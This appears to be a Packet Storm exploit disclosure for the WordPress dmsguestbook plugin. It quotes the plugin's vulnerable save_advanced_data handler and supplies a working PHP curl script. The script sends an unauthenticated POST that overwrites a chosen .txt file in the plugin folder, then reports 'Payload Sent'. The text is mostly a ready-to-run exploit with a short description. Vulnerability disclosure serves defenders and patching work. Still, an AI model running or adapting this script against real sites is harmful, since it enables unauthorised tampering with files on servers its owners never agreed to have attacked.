http://packetstormsecurity.com/user/evex/
Author:Evex
Title:
WordPress dmsguestbook Plugin File Manipulation
Description:
wordpress dmsguestbook plugin is vulnerable to a file manipulation security
issue
it allows an unauthenicated attacker to put text into existing text files
only
<?php
/*
Vulnerability Code:
if ($POSTVARIABLE['action'] =='save_advanced_data') {
$abspath = str_replace("\\","/", ABSPATH);
// check the folder variable
if($POSTVARIABLE['folder']=="language/"){
$folder="language/";
} else {$folder="";}
// check the file variable xxxx.txt
if(preg_match('/^[a-z0-9]+\.+(txt)/i', $POSTVARIABLE['file'])==1) {
$file=$POSTVARIABLE['file'];
} else {$file="";}
clearstatcache();
if (file_exists($abspath . "wp-content/plugins/dmsguestbook/" .
$folder . $file)) {
$handle = fopen($abspath . "wp-content/plugins/dmsguestbook/" .
$folder . $file, "w");
$writetofile = str_replace("\\", "",
$POSTVARIABLE['advanced_data']);
fwrite($handle, $writetofile);
fclose($handle);
message("<b>" . __("saved", "dmsguestbook") . "...</b>",300,800);
} else {message("<br /><b>" . __("File not found!", "dmsguestbook")
. "</b>",300,800);}
}
*/
$TEXTTOINJECT = 'INPUT TEXT HERE';
$TXTFILE = 'readme.txt'; #
localhost/wp-content/plugins/dmsguestbook/readme.txt
$url = "http://localhost/x/wordpress";
$ch = curl_init();
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,"action=save_advanced_data&file=$TXTFILE&advanced_data=$TEXTTOINJECT");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_URL,$url.'/wp-admin/admin.php?page=dmsguestbook');
curl_exec($ch);
echo "Payload Sent\nUrl: $url/wp-content/plugins/dmsguestbook/readme.txt";
?>
